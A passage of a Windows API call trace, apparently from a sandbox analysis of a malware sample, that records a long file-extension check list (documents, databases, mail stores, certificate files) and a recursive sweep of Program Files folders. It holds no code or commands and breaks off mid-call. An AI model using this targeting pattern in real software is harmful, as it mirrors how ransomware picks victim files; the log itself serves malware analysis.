(lpString=".max") returned 4 [0139.886] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0139.886] lstrlenW (lpString=".md") returned 3 [0139.886] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0139.886] lstrlenW (lpString=".mda") returned 4 [0139.886] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0139.886] lstrlenW (lpString=".mdb") returned 4 [0139.886] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0139.886] lstrlenW (lpString=".mde") returned 4 [0139.886] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0139.886] lstrlenW (lpString=".mdf") returned 4 [0139.886] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0139.886] lstrlenW (lpString=".mdw") returned 4 [0139.886] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0139.886] lstrlenW (lpString=".mef") returned 4 [0139.886] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0139.886] lstrlenW (lpString=".mft") returned 4 [0139.886] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0139.886] lstrlenW (lpString=".mfw") returned 4 [0139.886] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0139.886] lstrlenW (lpString=".mht") returned 4 [0139.886] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0139.886] lstrlenW (lpString=".mhtml") returned 6 [0139.886] lstrcmpiW (lpString1=".mhtml", lpString2="er.dll") returned -1 [0139.886] lstrlenW (lpString=".mka") returned 4 [0139.887] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0139.887] lstrlenW (lpString=".mkidx") returned 6 [0139.887] lstrcmpiW (lpString1=".mkidx", lpString2="er.dll") returned -1 [0139.887] lstrlenW (lpString=".mkv") returned 4 [0139.887] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0139.887] lstrlenW (lpString=".mos") returned 4 [0139.887] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0139.887] lstrlenW (lpString=".mov") returned 4 [0139.887] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0139.887] lstrlenW (lpString=".mp3") returned 4 [0139.887] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0139.887] lstrlenW (lpString=".mp4") returned 4 [0139.887] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0139.890] lstrlenW (lpString=".mpeg") returned 5 [0139.890] lstrcmpiW (lpString1=".mpeg", lpString2="r.dll") returned -1 [0139.890] lstrlenW (lpString=".mpg") returned 4 [0139.890] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0139.890] lstrlenW (lpString=".mpv") returned 4 [0139.890] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0139.890] lstrlenW (lpString=".mrw") returned 4 [0139.890] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0139.890] lstrlenW (lpString=".msg") returned 4 [0139.890] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0139.890] lstrlenW (lpString=".mxl") returned 4 [0139.890] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0139.890] lstrlenW (lpString=".myd") returned 4 [0139.890] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0139.890] lstrlenW (lpString=".myi") returned 4 [0139.890] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0139.890] lstrlenW (lpString=".nef") returned 4 [0139.890] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0139.890] lstrlenW (lpString=".nrw") returned 4 [0139.890] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0139.890] lstrlenW (lpString=".obj") returned 4 [0139.890] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0139.891] lstrlenW (lpString=".odb") returned 4 [0139.891] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0139.891] lstrlenW (lpString=".odc") returned 4 [0139.891] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0139.891] lstrlenW (lpString=".odm") returned 4 [0139.891] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0139.891] lstrlenW (lpString=".odp") returned 4 [0139.891] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0139.891] lstrlenW (lpString=".ods") returned 4 [0139.891] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0139.891] lstrlenW (lpString=".oft") returned 4 [0139.891] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0139.891] lstrlenW (lpString=".one") returned 4 [0139.891] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0139.891] lstrlenW (lpString=".onepkg") returned 7 [0139.891] lstrcmpiW (lpString1=".onepkg", lpString2="yer.dll") returned -1 [0139.891] lstrlenW (lpString=".onetoc2") returned 8 [0139.891] lstrcmpiW (lpString1=".onetoc2", lpString2="ayer.dll") returned -1 [0139.891] lstrlenW (lpString=".opt") returned 4 [0139.891] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0139.891] lstrlenW (lpString=".oqy") returned 4 [0139.891] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0139.891] lstrlenW (lpString=".orf") returned 4 [0139.891] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0139.891] lstrlenW (lpString=".p12") returned 4 [0139.891] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0139.891] lstrlenW (lpString=".p7b") returned 4 [0139.891] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0139.892] lstrlenW (lpString=".p7c") returned 4 [0139.892] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0139.892] lstrlenW (lpString=".pam") returned 4 [0139.892] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0139.892] lstrlenW (lpString=".pbm") returned 4 [0139.892] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0139.892] lstrlenW (lpString=".pct") returned 4 [0139.892] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0139.892] lstrlenW (lpString=".pcx") returned 4 [0139.892] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0139.892] lstrlenW (lpString=".pdd") returned 4 [0139.892] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0139.892] lstrlenW (lpString=".pdf") returned 4 [0139.892] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0139.892] lstrlenW (lpString=".pdp") returned 4 [0139.892] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0139.892] lstrlenW (lpString=".pef") returned 4 [0139.892] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0139.892] lstrlenW (lpString=".pem") returned 4 [0139.892] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0139.892] lstrlenW (lpString=".pff") returned 4 [0139.892] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0139.892] lstrlenW (lpString=".pfm") returned 4 [0139.892] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0139.892] lstrlenW (lpString=".pfx") returned 4 [0139.892] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0139.892] lstrlenW (lpString=".pgm") returned 4 [0139.892] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0139.892] lstrlenW (lpString=".php") returned 4 [0139.892] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0139.892] lstrlenW (lpString=".php3") returned 5 [0139.892] lstrcmpiW (lpString1=".php3", lpString2="r.dll") returned -1 [0139.893] lstrlenW (lpString=".php4") returned 5 [0139.893] lstrcmpiW (lpString1=".php4", lpString2="r.dll") returned -1 [0139.893] lstrlenW (lpString=".php5") returned 5 [0139.893] lstrcmpiW (lpString1=".php5", lpString2="r.dll") returned -1 [0139.893] lstrlenW (lpString=".phtml") returned 6 [0139.893] lstrcmpiW (lpString1=".phtml", lpString2="er.dll") returned -1 [0139.893] lstrlenW (lpString=".pict") returned 5 [0139.893] lstrcmpiW (lpString1=".pict", lpString2="r.dll") returned -1 [0139.893] lstrlenW (lpString=".pl") returned 3 [0139.893] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0139.893] lstrlenW (lpString=".pls") returned 4 [0139.893] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0139.893] lstrlenW (lpString=".pm") returned 3 [0139.893] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0139.893] lstrlenW (lpString=".png") returned 4 [0139.893] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0139.893] lstrlenW (lpString=".pnm") returned 4 [0139.893] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0139.893] lstrlenW (lpString=".pot") returned 4 [0139.893] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0139.893] lstrlenW (lpString=".potm") returned 5 [0139.893] lstrcmpiW (lpString1=".potm", lpString2="r.dll") returned -1 [0139.893] lstrlenW (lpString=".potx") returned 5 [0139.893] lstrcmpiW (lpString1=".potx", lpString2="r.dll") returned -1 [0139.893] lstrlenW (lpString=".ppa") returned 4 [0139.893] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0139.893] lstrlenW (lpString=".ppam") returned 5 [0139.893] lstrcmpiW (lpString1=".ppam", lpString2="r.dll") returned -1 [0139.893] lstrlenW (lpString=".ppm") returned 4 [0139.894] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0139.894] lstrlenW (lpString=".pps") returned 4 [0139.894] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0139.894] lstrlenW (lpString=".ppsm") returned 5 [0139.894] lstrcmpiW (lpString1=".ppsm", lpString2="r.dll") returned -1 [0139.894] lstrlenW (lpString=".ppt") returned 4 [0139.894] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0139.894] lstrlenW (lpString=".pptm") returned 5 [0139.894] lstrcmpiW (lpString1=".pptm", lpString2="r.dll") returned -1 [0139.894] lstrlenW (lpString=".pptx") returned 5 [0139.894] lstrcmpiW (lpString1=".pptx", lpString2="r.dll") returned -1 [0139.894] lstrlenW (lpString=".prn") returned 4 [0139.894] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0139.894] lstrlenW (lpString=".ps") returned 3 [0139.894] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0139.894] lstrlenW (lpString=".psb") returned 4 [0139.894] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0139.894] lstrlenW (lpString=".psd") returned 4 [0139.894] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0139.894] lstrlenW (lpString=".pst") returned 4 [0139.894] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0139.894] lstrlenW (lpString=".ptx") returned 4 [0139.894] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0139.894] lstrlenW (lpString=".pub") returned 4 [0139.894] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0139.894] lstrlenW (lpString=".pwm") returned 4 [0139.894] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0139.894] lstrlenW (lpString=".pxr") returned 4 [0139.894] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0139.894] lstrlenW (lpString=".py") returned 3 [0139.894] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1 [0139.894] lstrlenW (lpString=".qt") returned 3 [0139.894] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1 [0139.895] lstrlenW (lpString=".r3d") returned 4 [0139.895] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1 [0139.895] lstrlenW (lpString=".raf") returned 4 [0139.895] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1 [0139.895] lstrlenW (lpString=".rar") returned 4 [0139.895] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0139.895] lstrlenW (lpString=".raw") returned 4 [0139.895] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1 [0139.895] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.895] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.895] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.895] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.895] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dc0740 [0139.896] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US\\*", lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0x3e5bf58 [0139.897] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.897] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.897] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.897] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.897] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.898] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.898] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.898] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.898] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.898] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.898] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.898] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0 [0139.899] FindClose (in: hFindFile=0x3e5bf58 | out: hFindFile=0x3e5bf58) returned 1 [0139.899] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0139.899] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.899] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.899] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.900] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.900] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.900] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.900] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.900] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.900] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.900] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.900] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.900] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.901] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.901] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.901] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.901] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.901] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.901] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.901] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.901] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.901] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.901] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.901] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.901] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.902] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.902] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dc0740 [0139.902] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\Offline\\*", lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0x3e5bf58 [0139.902] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.902] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.902] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.902] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.902] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.902] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0 [0139.902] FindClose (in: hFindFile=0x3e5bf58 | out: hFindFile=0x3e5bf58) returned 1 [0139.902] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0139.902] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.902] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.902] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.903] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.903] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.903] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.903] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.903] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0139.903] FindClose (in: hFindFile=0x3e5b898 | out: hFindFile=0x3e5b898) returned 1 [0139.903] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0139.903] FindNextFileW (in: hFindFile=0x3e5bb58, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0139.903] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0139.903] lstrlenW (lpString="C:\\Program Files\\Windows Defender Advanced Threat Protection") returned 60 [0139.903] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender Advanced Threat Protection\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x3e5b898 [0139.905] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.905] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.905] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dc0740 [0139.905] lstrlenW (lpString="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US") returned 66 [0139.905] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US\\*", lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0x3e5bb98 [0139.906] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.906] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.906] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0 [0139.906] FindClose (in: hFindFile=0x3e5bb98 | out: hFindFile=0x3e5bb98) returned 1 [0139.906] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0139.906] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.907] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.907] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.907] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.907] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.907] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0139.907] FindClose (in: hFindFile=0x3e5b898 | out: hFindFile=0x3e5b898) returned 1 [0139.907] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0139.907] FindNextFileW (in: hFindFile=0x3e5bb58, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0139.907] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0139.907] lstrlenW (lpString="C:\\Program Files\\Windows Mail") returned 29 [0139.907] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x3e5bf58 [0139.908] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.908] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.908] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dc0740 [0139.908] lstrlenW (lpString="C:\\Program Files\\Windows Mail\\en-US") returned 35 [0139.909] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\*", lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0x3e5ba18 [0139.909] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.909] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.909] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.909] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0 [0139.909] FindClose (in: hFindFile=0x3e5ba18 | out: hFindFile=0x3e5ba18) returned 1 [0139.909] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0139.909] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.909] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.909] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.909] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.909] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.909] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.909] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.910] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.910] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0139.910] FindClose (in: hFindFile=0x3e5bf58 | out: hFindFile=0x3e5bf58) returned 1 [0139.910] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0139.910] FindNextFileW (in: hFindFile=0x3e5bb58, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0139.910] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0139.910] lstrlenW (lpString="C:\\Program Files\\Windows Media Player") returned 37 [0139.910] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x3e5ba18 [0139.911] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.911] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.911] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dc0740 [0139.911] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\en-US") returned 43 [0139.911] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\*", lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0x3e5bb98 [0139.913] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.913] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.913] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.913] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.913] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.913] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.913] FindNextFileW (in: hFindFile=0x3e5bb98, 